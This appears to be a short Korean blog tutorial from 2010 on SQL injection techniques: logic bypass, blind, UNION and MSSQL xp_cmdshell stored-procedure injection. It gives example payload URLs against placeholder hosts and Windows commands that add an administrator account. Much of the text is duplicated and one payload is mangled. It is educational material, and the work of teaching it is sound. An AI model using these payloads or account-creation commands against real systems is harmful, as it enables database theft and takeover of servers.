Web H&S/Web Basic
1. SQL Injection
T-Evan
2010. 12. 9. 18:29
★ 공격 방법
1) 논리적 에러를 이용하는 SQL Injection
- SQL Injection의 기본적인 기법으로 '를 통해 에러를 확인하고, or 1=1 등의 논리적인 에러를 통해 시스템 권한 체크를 우회하는 기법이다.
ex) SELECT * FROM user_data WHERE last_name = 'Your Name' or '1 = 1'
2) 쿼리 가능 여부를 이용하는 Blind SQL Injection
- 악의적인 ㅁ누자열 삽입 대신 쿼리 결과 (참 or 거짓)에 따라 정보를 취득하는 기법이다.
ex1) http://www.xxx.com/page.php?id=5 and 1=1 // id=5의 페이지로 이동
ex2) http://www.xxx.com/page.php?id=5 and 1=2 // 결과 x, 페이지 변동 x
3) 두 개 이상의 쿼리를 이용하는 Union SQL Injection
- Union은 2개 이상의 쿼리를 요청하여 결과를 얻는 SQL 연산자이다. 공격자는 이를 악용하여 원래의 요청에 한 개의 추가 쿼리를 삽입하여 정보를 얻어내는 방식이다.
ex) http://www.xxx.com/news/php?id=5 union all select 1, table_name, 3 from information_schema.tables
테이블 정보가 들어있는 information_schema.tables 에서 테이블 정보를 요청.
4) 저장 프로시저를 이용하는 Stored Procedure SQL Injection (확장형 저장 프로시저 종류 검색)
- 저장 프로시저는 운영상의 편이를 위해 만들어둔 SQL 모음집 형태로 이해하면 된다. 특히 MSSQL의 xp_cmdshell은 윈도우 명령어를 실행하는 역할을 하는 저장 프로시저이다.
ex) http://url/checkid.asp?id=';CREATE ..... r.dbo.xp_"cmdshell%20' netstat%20-an';
사용자 추가 : net user [id] [pw] /add
사용자 그룹 추가 : net localgroup administrators [id] /add
- SQL Injection의 기본적인 기법으로 '를 통해 에러를 확인하고, or 1=1 등의 논리적인 에러를 통해 시스템 권한 체크를 우회하는 기법이다.
ex) SELECT * FROM user_data WHERE last_name = 'Your Name' or '1 = 1'
2) 쿼리 가능 여부를 이용하는 Blind SQL Injection
- 악의적인 ㅁ누자열 삽입 대신 쿼리 결과 (참 or 거짓)에 따라 정보를 취득하는 기법이다.
ex1) http://www.xxx.com/page.php?id=5 and 1=1 // id=5의 페이지로 이동
ex2) http://www.xxx.com/page.php?id=5 and 1=2 // 결과 x, 페이지 변동 x
3) 두 개 이상의 쿼리를 이용하는 Union SQL Injection
- Union은 2개 이상의 쿼리를 요청하여 결과를 얻는 SQL 연산자이다. 공격자는 이를 악용하여 원래의 요청에 한 개의 추가 쿼리를 삽입하여 정보를 얻어내는 방식이다.
ex) http://www.xxx.com/news/php?id=5 union all select 1, table_name, 3 from information_schema.tables
테이블 정보가 들어있는 information_schema.tables 에서 테이블 정보를 요청.
4) 저장 프로시저를 이용하는 Stored Procedure SQL Injection (확장형 저장 프로시저 종류 검색)
- 저장 프로시저는 운영상의 편이를 위해 만들어둔 SQL 모음집 형태로 이해하면 된다. 특히 MSSQL의 xp_cmdshell은 윈도우 명령어를 실행하는 역할을 하는 저장 프로시저이다.
ex) http://url/checkid.asp?id=';CREATE ..... r.dbo.xp_"cmdshell%20' netstat%20-an';
사용자 추가 : net user [id] [pw] /add
사용자 그룹 추가 : net localgroup administrators [id] /add